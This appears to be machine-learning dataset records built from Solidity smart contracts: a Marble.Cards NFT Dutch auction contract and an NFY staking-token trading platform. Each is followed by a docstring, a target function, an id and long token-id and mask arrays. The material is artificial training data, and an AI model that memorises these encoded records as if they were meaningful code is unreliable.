count of all existing auctions. */ function totalAuctionsBySeller( address _seller ) external view returns (uint256); /** * @dev Returns true if the NFT is on auction. * @param _tokenId ID of the token to be checked. */ function isOnAuction(uint256 _tokenId) external view returns (bool isIndeed); /** * @dev Returns auction info for an NFT on auction. * @param _tokenId ID of NFT placed in auction */ function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, bool canBeCanceled ); /** * @dev remove NFT reference from auction conrtact, should be use only when NFT is being burned * @param _tokenId ID of token on auction */ function removeAuction( uint256 _tokenId ) external; } // File: contracts/MarbleDutchAuction.sol pragma solidity ^0.4.24; /** * @title Dutch auction for non-fungible tokens created by Marble.Cards. */ contract MarbleDutchAuction is MarbleDutchAuctionInterface, Priceable, Adminable, Pausable, DutchAuctionEnumerable { /** * @dev The ERC-165 interface signature for ERC-721. * Ref: https://github.com/ethereum/EIPs/issues/165 * Ref: https://github.com/ethereum/EIPs/issues/721 */ bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd; /** * @dev Reports change of auctioneer cut. * @param _auctioneerCut Number between 0-10000 (1% is equal to 100) */ event AuctioneerCutChanged(uint256 _auctioneerCut); /** * @dev Reports change of auctioneer delayed cut. * @param _auctioneerDelayedCancelCut Number between 0-10000 (1% is equal to 100) */ event AuctioneerDelayedCancelCutChanged(uint256 _auctioneerDelayedCancelCut); /** * @dev Reports removal of NFT from auction cotnract * @param _tokenId ID of token to auction, sender must be owner. */ event AuctionRemoved(uint256 _tokenId); /** * @dev Creates new auction. * NOTE: !! Doing a dangerous stuff here!!! changing owner of NFT, be careful where u call this one !!! * TODO: in case of replacing forceApproval we can add our contracts as operators, but there is problem in possiblity of changing auction contract and we will be unable to transfer kards to new one * @param _tokenId ID of token to auction, sender must be owner. * @param _startingPrice Price of item (in wei) at beginning of auction. * @param _endingPrice Price of item (in wei) at end of auction. * @param _duration Length of time to move between starting * @param _delayedCancel If false seller can cancel auction any time, otherwise only after times up * @param _seller Seller, if not the message sender */ function _createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, bool _delayedCancel, address _seller ) internal whenNotPaused { MarbleNFTInterface marbleNFT = MarbleNFTInterface(address(nftContract)); // Sanity check that no inputs overflow how many bits we've allocated // to store them as auction model. require(_startingPrice == uint256(uint128(_startingPrice)), "Starting price is too high!"); require(_endingPrice == uint256(uint128(_endingPrice)), "Ending price is too high!"); require(_duration == uint256(uint64(_duration)), "Duration exceeds allowed limit!"); /** * NOTE: !! Doing a dangerous stuff here !! * before calling this should be clear that seller is owner of NFT */ marbleNFT.forceApproval(_tokenId, address(this)); // lets auctioneer to own NFT for purposes of auction nftContract.transferFrom(_seller, address(this), _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint256(now), bool(_delayedCancel) ); _addAuction(_tokenId, auction); } /** * @dev Sets new auctioneer cut, in case we are to cheap :)) * @param _cut Percent cut the auctioneer takes on each auction, must be between 0-10000. Values 0-10,000 map to 0%-100%. */ function setAuctioneerCut(uint256 _cut) external onlyAdmin { require(_cut <= 10000, "Cut should be in interval of 0-10000"); auctioneerCut = uint16(_cut); emit AuctioneerCutChanged(auctioneerCut); } /** * @dev Sets new auctioneer delayed cut, in case we are not earning much during creating NFTs initial auctions! * @param _cut Percent cut the auctioneer takes on each auction, must be between 0-10000. Values 0-10,000 map to 0%-100%. */ function setAuctioneerDelayedCancelCut(uint256 _cut) external onlyAdmin { require(_cut <= 10000, "Delayed cut should be in interval of 0-10000"); auctioneerDelayedCancelCut = uint16(_cut); emit AuctioneerDelayedCancelCutChanged(auctioneerDelayedCancelCut); } /** * @dev Sets an addresses of ERC 721 contract owned/admined by same entity. * @param _nftAddress Address of ERC 721 contract */ function setNFTContract(address _nftAddress) external onlyAdmin { ERC165 nftContractToCheck = ERC165(_nftAddress); require(nftContractToCheck.supportsInterface(InterfaceSignature_ERC721)); // ERC721 == 0x80ac58cd nftContract = ERC721(_nftAddress); } /** * @dev Creates and begins a new minting auction. Minitng auction is initial auction allowing to challenge newly Minted Marble NFT. * If no-one buy NFT during its dynamic state, then seller (original creator of NFT) will be allowed to become owner of NFT. It means during dynamic (duration) * state of auction, it won't be possible to use cancelAuction function by seller! * @param _tokenId ID of token to auction, sender must be owner. * @param _startingPrice Price of item (in wei) at beginning of auction. * @param _endingPrice Price of item (in wei) at end of auction. * @param _duration Length of time to move between starting price and ending price (in seconds). * @param _seller Seller, if not the message sender */ function createMintingAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused onlyAdmin { // TODO minitingPrice vs mintintgFee require(_endingPrice > _mintingFee, "Ending price of minitng auction has to be bigger than minting fee!"); // Sale auction throws if inputs are invalid and clears _createAuction( _tokenId, _startingPrice, _endingPrice, _duration, true, // seller can NOT cancel auction only after time is up! and bidders can be just over duration _seller ); } /** * @dev Creates new auction without special logic. * @param _tokenId ID of token to auction, sender must be owner. * @param _startingPrice Price of item (in wei) at beginning of auction. * @param _endingPrice Price of item (in wei) at end of auction. * @param _duration Length of time to move between starting price and ending price (in seconds) - it determines dynamic state of auction */ function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { require(nftContract.ownerOf(_tokenId) == msg.sender, "Only owner of the token can create auction!"); // Sale auction throws if inputs are invalid and clears _createAuction( _tokenId, _startingPrice, _endingPrice, _duration, false, // seller can cancel auction any time msg.sender ); } /** * @dev Bids on an open auction, completing the auction and transferring ownership of the NFT if enough Ether is supplied. * NOTE: Bid can be placed on normal auction any time, * but in case of "minting" auction (_delayedCancel == true) it can be placed only when call of _isTimeUp(auction) returns false * @param _tokenId ID of token to bid on. */ function bid(uint256 _tokenId) external payable whenNotPaused { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "NFT is not on this auction!"); require(!auction.delayedCancel || !_durationIsOver(auction), "You can not bid on this auction, because it has delayed cancel policy actived and after times up it belongs once again to seller!"); // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); // change the ownership of NFT nftContract.transferFrom(address(this), msg.sender, _tokenId); } /** * @dev It allows seller to cancel auction and get back Marble NFT, but it works only when delayedCancel property is false or when auction duratian time is up. * @param _tokenId ID of token on auction */ function cancelAuction(uint256 _tokenId) external whenNotPaused { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "NFT is not auctioned over our contract!"); require((!auction.delayedCancel || _durationIsOver(auction)) && msg.sender == auction.seller, "You have no rights to cancel this auction!"); _cancelAuction(_tokenId); } /** * @dev Cancels an auction when the contract is paused. * Only the admin may do this, and NFTs are returned to the seller. This should only be used in emergencies like moving to another auction contract. * @param _tokenId ID of the NFT on auction to cancel. */ function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyAdmin { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "NFT is not auctioned over our contract!"); _cancelAuction(_tokenId); } /** * @dev Returns true if NFT is placed as auction over this contract, otherwise false. * @param _tokenId ID of NFT to check. */ function isOnAuction(uint256 _tokenId) external view returns (bool isIndeed) { Auction storage auction = tokenIdToAuction[_tokenId]; return _isOnAuction(auction); } /** * @dev Returns auction info for an NFT on auction. * @param _tokenId ID of NFT placed in auction */ function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, bool delayedCancel ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "NFT is not auctioned over our contract!"); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt, auction.delayedCancel ); } /** * @dev Returns the current price of an auction. * @param _tokenId ID of the token price we are checking. */ function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "NFT is not auctioned over our contract!"); return _currentPrice(auction); } /** * @dev remove NFT reference from auction conrtact, should be use only when NFT is being burned * @param _tokenId ID of token on auction */ function removeAuction( uint256 _tokenId ) external whenPaused onlyAdmin { _removeAuction(_tokenId); emit AuctionRemoved(_tokenId); } }
* @dev Emits when owner take ETH out of contract @param balance - amount of ETh sent out from contract/* @dev modifier Checks minimal amount, what was sent to function call. @param _minimalAmount - minimal amount neccessary to continue function call/
modifier minimalPrice(uint256 _minimalAmount) { require(msg.value >= _minimalAmount, "Not enough Ether provided."); _; }
2,288,375
[ 1, 1514, 1282, 1347, 3410, 4862, 512, 2455, 596, 434, 6835, 225, 11013, 300, 3844, 434, 512, 1315, 3271, 596, 628, 6835, 19, 225, 9606, 13074, 16745, 3844, 16, 4121, 1703, 3271, 358, 445, 745, 18, 225, 389, 1154, 2840, 6275, 300, 16745, 3844, 290, 557, 614, 814, 358, 225, 1324, 445, 745, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 9606, 16745, 5147, 12, 11890, 5034, 389, 1154, 2840, 6275, 13, 288, 203, 565, 2583, 12, 3576, 18, 1132, 1545, 389, 1154, 2840, 6275, 16, 315, 1248, 7304, 512, 1136, 2112, 1199, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/Ownable.sol pragma solidity ^0.6.10; contract Ownable is Context { address public owner; address private dev; modifier onlyOwner() { require(_msgSender() == owner, "Owner only"); _; } modifier onlyDev() { require(_msgSender() == dev, "Dev only"); _; } constructor(address _dev) public { owner = _msgSender(); dev = _dev; } function transferOwnership(address payable _owner) public onlyOwner() { owner = _owner; } function transferDev(address _dev) public onlyDev() { dev = _dev; } } // File: contracts/NFYTradingPlatform.sol pragma solidity 0.6.10; pragma experimental ABIEncoderV2; interface NFTContract { function ownerOf(uint256 tokenId) external view returns (address owner); function nftTokenId(address _stakeholder) external view returns(uint256 id); } contract NFYTradingPlatform is Ownable { using SafeMath for uint; bytes32[] private stakeTokenList; uint private nextTradeId; uint private nextOrderId; uint public platformFee; IERC20 public NFYToken; address public rewardPool; address public communityFund; address public devAddress; enum Side { BUY, SELL } struct StakeToken { bytes32 ticker; NFTContract nftContract; address nftAddress; address stakingAddress; } struct Order { uint id; address userAddress; Side side; bytes32 ticker; uint amount; uint filled; uint price; uint date; } struct PendingTransactions{ uint pendingAmount; uint id; } mapping(bytes32 => mapping(address => PendingTransactions[])) private pendingETH; mapping(bytes32 => mapping(address => PendingTransactions[])) private pendingToken; mapping(bytes32 => StakeToken) private tokens; mapping(address => mapping(bytes32 => uint)) private traderBalances; mapping(bytes32 => mapping(uint => Order[])) private orderBook; mapping(address => uint) private ethBalance; // Event for a new trade event NewTrade( uint tradeId, uint orderId, bytes32 indexed ticker, address trader1, address trader2, uint amount, uint price, uint date ); constructor(address _nfy, address _rewardPool, uint _fee, address _devFeeAddress, address _communityFundAddress, address _dev) Ownable(_dev) public { NFYToken = IERC20(_nfy); rewardPool = _rewardPool; platformFee = _fee; devAddress = _devFeeAddress; communityFund = _communityFundAddress; } // Function that updates platform fee function setFee(uint _fee) external onlyOwner() { platformFee = _fee; } // Function that updates dev address for portion of fee function setDevFeeAddress(address _devAddress) external onlyDev() { require(_devAddress != address(0), "Can not be 0 address"); devAddress = _devAddress; } // Function that updates community address for portion of fee function setCommunityFeeAddress(address _communityAddress) external onlyOwner() { require(_communityAddress != address(0), "Can not be 0 address"); communityFund = _communityAddress; } // Function that gets balance of a user function getTraderBalance(address _user, string memory ticker) external view returns(uint) { bytes32 _ticker = stringToBytes32(ticker); return traderBalances[_user][_ticker]; } // Function that gets eth balance of a user function getEthBalance(address _user) external view returns(uint) { return ethBalance[_user]; } // Function that adds staking NFT function addToken(string memory ticker, NFTContract _NFTContract, address _nftAddress, address _stakingAddress) onlyOwner() external { bytes32 _ticker = stringToBytes32(ticker); require(tokens[_ticker].stakingAddress == address(0), "Already exists"); tokens[_ticker] = StakeToken(_ticker, _NFTContract, _nftAddress, _stakingAddress); stakeTokenList.push(_ticker); } // Function that allows user to deposit staking NFT function depositStake(string memory ticker, uint _tokenId, uint _amount) stakeNFTExist(ticker) external { bytes32 _ticker = stringToBytes32(ticker); require(tokens[_ticker].nftContract.ownerOf(_tokenId) == _msgSender(), "Owner of token is not user"); (bool success, ) = tokens[_ticker].stakingAddress.call(abi.encodeWithSignature("decrementNFTValue(uint256,uint256)", _tokenId, _amount)); require(success == true, "decrement call failed"); traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].add(_amount); } // Function that allows a user to withdraw their staking NFT function withdrawStake(string memory ticker, uint _amount) stakeNFTExist(ticker) external { bytes32 _ticker = stringToBytes32(ticker); if(tokens[_ticker].nftContract.nftTokenId(_msgSender()) == 0){ // Call to contract to add stake holder (bool addSuccess, ) = tokens[_ticker].stakingAddress.call(abi.encodeWithSignature("addStakeholderExternal(address)", _msgSender())); require(addSuccess == true, "add stakeholder call failed"); } uint _tokenId = tokens[_ticker].nftContract.nftTokenId(_msgSender()); require(traderBalances[_msgSender()][_ticker] >= _amount, 'balance too low'); traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].sub(_amount); (bool success, ) = tokens[_ticker].stakingAddress.call(abi.encodeWithSignature("incrementNFTValue(uint256,uint256)", _tokenId, _amount)); require(success == true, "increment call failed"); } // Function that deposits eth function depositEth() external payable{ ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value); } // Function that withdraws eth function withdrawEth(uint _amount) external{ require(_amount > 0, "cannot withdraw 0 eth"); require(ethBalance[_msgSender()] >= _amount, "Not enough eth in trading balance"); ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(_amount); _msgSender().transfer(_amount); } // Function that gets total all orders function getOrders(string memory ticker, Side side) external view returns(Order[] memory) { bytes32 _ticker = stringToBytes32(ticker); return orderBook[_ticker][uint(side)]; } // Function that gets all trading function getTokens() external view returns(StakeToken[] memory) { StakeToken[] memory _tokens = new StakeToken[](stakeTokenList.length); for (uint i = 0; i < stakeTokenList.length; i++) { _tokens[i] = StakeToken( tokens[stakeTokenList[i]].ticker, tokens[stakeTokenList[i]].nftContract, tokens[stakeTokenList[i]].nftAddress, tokens[stakeTokenList[i]].stakingAddress ); } return _tokens; } // Function that creates limit order function createLimitOrder(string memory ticker, uint _amount, uint _price, Side _side) external { uint devFee = platformFee.mul(10).div(100); uint communityFee = platformFee.mul(5).div(100); uint rewardFee = platformFee.sub(devFee).sub(communityFee); NFYToken.transferFrom(_msgSender(), devAddress, devFee); NFYToken.transferFrom(_msgSender(), communityFund, communityFee); NFYToken.transferFrom(_msgSender(), rewardPool, rewardFee); _limitOrder(ticker, _amount, _price, _side); } // Limit order Function function _limitOrder(string memory ticker, uint _amount, uint _price, Side _side) stakeNFTExist(ticker) internal { bytes32 _ticker = stringToBytes32(ticker); require(_amount > 0, "Amount can not be 0"); require(_price > 0, "Price can not be 0"); Order[] storage orders = orderBook[_ticker][uint(_side == Side.BUY ? Side.SELL : Side.BUY)]; if(orders.length == 0){ _createOrder(_ticker, _amount, _price, _side); } else{ if(_side == Side.BUY){ uint remaining = _amount; uint i; uint orderLength = orders.length; while(i < orders.length && remaining > 0) { if(_price >= orders[i].price){ remaining = _matchOrder(_ticker,orders, remaining, i, _side); nextTradeId = nextTradeId.add(1); if(orders.length.sub(i) == 1 && remaining > 0){ _createOrder(_ticker, remaining, _price, _side); } i = i.add(1); } else{ i = orderLength; if(remaining > 0){ _createOrder(_ticker, remaining, _price, _side); } } } } if(_side == Side.SELL){ uint remaining = _amount; uint i; uint orderLength = orders.length; while(i < orders.length && remaining > 0) { if(_price <= orders[i].price){ remaining = _matchOrder(_ticker,orders, remaining, i, _side); nextTradeId = nextTradeId.add(1); if(orders.length.sub(i) == 1 && remaining > 0){ _createOrder(_ticker, remaining, _price, _side); } i = i.add(1); } else{ i = orderLength; if(remaining > 0){ _createOrder(_ticker, remaining, _price, _side); } } } } uint i = 0; while(i < orders.length && orders[i].filled == orders[i].amount) { for(uint j = i; j < orders.length.sub(1); j = j.add(1) ) { orders[j] = orders[j.add(1)]; } orders.pop(); i = i.add(1); } } } function _createOrder(bytes32 _ticker, uint _amount, uint _price, Side _side) internal { if(_side == Side.BUY) { require(ethBalance[_msgSender()] > 0, "Can not purchase no stake"); require(ethBalance[_msgSender()] >= _amount.mul(_price).div(1e18), "Eth too low"); PendingTransactions[] storage pending = pendingETH[_ticker][_msgSender()]; pending.push(PendingTransactions(_amount.mul(_price).div(1e18), nextOrderId)); ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(_amount.mul(_price).div(1e18)); } else { require(traderBalances[_msgSender()][_ticker] >= _amount, "Token too low"); PendingTransactions[] storage pending = pendingToken[_ticker][_msgSender()]; pending.push(PendingTransactions(_amount, nextOrderId)); traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].sub(_amount); } Order[] storage orders = orderBook[_ticker][uint(_side)]; orders.push(Order( nextOrderId, _msgSender(), _side, _ticker, _amount, 0, _price, now )); uint i = orders.length > 0 ? orders.length.sub(1) : 0; while(i > 0) { if(_side == Side.BUY && orders[i.sub(1)].price > orders[i].price) { break; } if(_side == Side.SELL && orders[i.sub(1)].price < orders[i].price) { break; } Order memory order = orders[i.sub(1)]; orders[i.sub(1)] = orders[i]; orders[i] = order; i = i.sub(1); } nextOrderId = nextOrderId.add(1); } function _matchOrder(bytes32 _ticker, Order[] storage orders, uint remaining, uint i, Side side) internal returns(uint left){ uint available = orders[i].amount.sub(orders[i].filled); uint matched = (remaining > available) ? available : remaining; remaining = remaining.sub(matched); orders[i].filled = orders[i].filled.add(matched); emit NewTrade( nextTradeId, orders[i].id, _ticker, orders[i].userAddress, _msgSender(), matched, orders[i].price, now ); if(side == Side.SELL) { traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].sub(matched); traderBalances[orders[i].userAddress][_ticker] = traderBalances[orders[i].userAddress][_ticker].add(matched); ethBalance[_msgSender()] = ethBalance[_msgSender()].add(matched.mul(orders[i].price).div(1e18)); PendingTransactions[] storage pending = pendingETH[_ticker][orders[i].userAddress]; uint userOrders = pending.length; uint b = 0; uint id = orders[i].id; while(b < userOrders){ if(pending[b].id == id && orders[i].filled == orders[i].amount){ for(uint o = b; o < userOrders.sub(1); o = o.add(1)){ pending[o] = pending[o.add(1)]; b = userOrders; } pending.pop(); } b = b.add(1); } } if(side == Side.BUY) { require(ethBalance[_msgSender()] >= matched.mul(orders[i].price).div(1e18), 'eth balance too low'); traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].add(matched); ethBalance[orders[i].userAddress] = ethBalance[orders[i].userAddress].add(matched.mul(orders[i].price).div(1e18)); ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(matched.mul(orders[i].price).div(1e18)); PendingTransactions[] storage pending = pendingToken[_ticker][orders[i].userAddress]; uint userOrders = pending.length; uint b = 0; while(b < userOrders){ if(pending[b].id == orders[i].id && orders[i].filled == orders[i].amount){ for(uint o = b; o < userOrders.sub(1); o = o.add(1)){ pending[o] = pending[o.add(1)]; b = userOrders; } pending.pop(); } b = b.add(1); } } left = remaining; return left; } function cancelOrder(string memory ticker, Side _side) external stakeNFTExist(ticker) { bytes32 _ticker = stringToBytes32(ticker); Order[] storage orders = orderBook[_ticker][uint(_side)]; if(_side == Side.BUY) { PendingTransactions[] storage pending = pendingETH[_ticker][_msgSender()]; uint amount = _cancelOrder(pending, orders, _side); ethBalance[_msgSender()] = ethBalance[_msgSender()].add(amount); } else{ PendingTransactions[] storage pending = pendingToken[_ticker][_msgSender()]; uint amount = _cancelOrder(pending, orders, _side); traderBalances[_msgSender()][_ticker] = traderBalances[_msgSender()][_ticker].add(amount); } } function _cancelOrder(PendingTransactions[] storage pending, Order[] storage orders, Side _side) internal returns(uint left){ int userOrders = int(pending.length - 1); require(userOrders >= 0, 'users has no pending order'); uint userOrder = uint(userOrders); uint orderId = pending[userOrder].id; uint orderLength = orders.length; uint i = 0; uint amount; while(i < orders.length){ if(orders[i].id == orderId){ if(_side == Side.BUY){ amount = pending[userOrder].pendingAmount.sub(orders[i].filled.mul(orders[i].price).div(1e18)); } else { amount = pending[userOrder].pendingAmount.sub(orders[i].filled); } for(uint c = i; c < orders.length.sub(1); c = c.add(1)){ orders[c] = orders[c.add(1)]; } orders.pop(); pending.pop(); i = orderLength; } i = i.add(1); } left = amount; return left; } modifier stakeNFTExist(string memory ticker) { bytes32 _ticker = stringToBytes32(ticker); require(tokens[_ticker].stakingAddress != address(0), "staking NFT does not exist"); _; } //HELPER FUNCTION // CONVERT STRING TO BYTES32 function stringToBytes32(string memory _source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(_source); string memory tempSource = _source; if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(tempSource, 32)) } } }
Function that gets total all orders
function getOrders(string memory ticker, Side side) external view returns(Order[] memory) { bytes32 _ticker = stringToBytes32(ticker); return orderBook[_ticker][uint(side)]; }
7,274,408
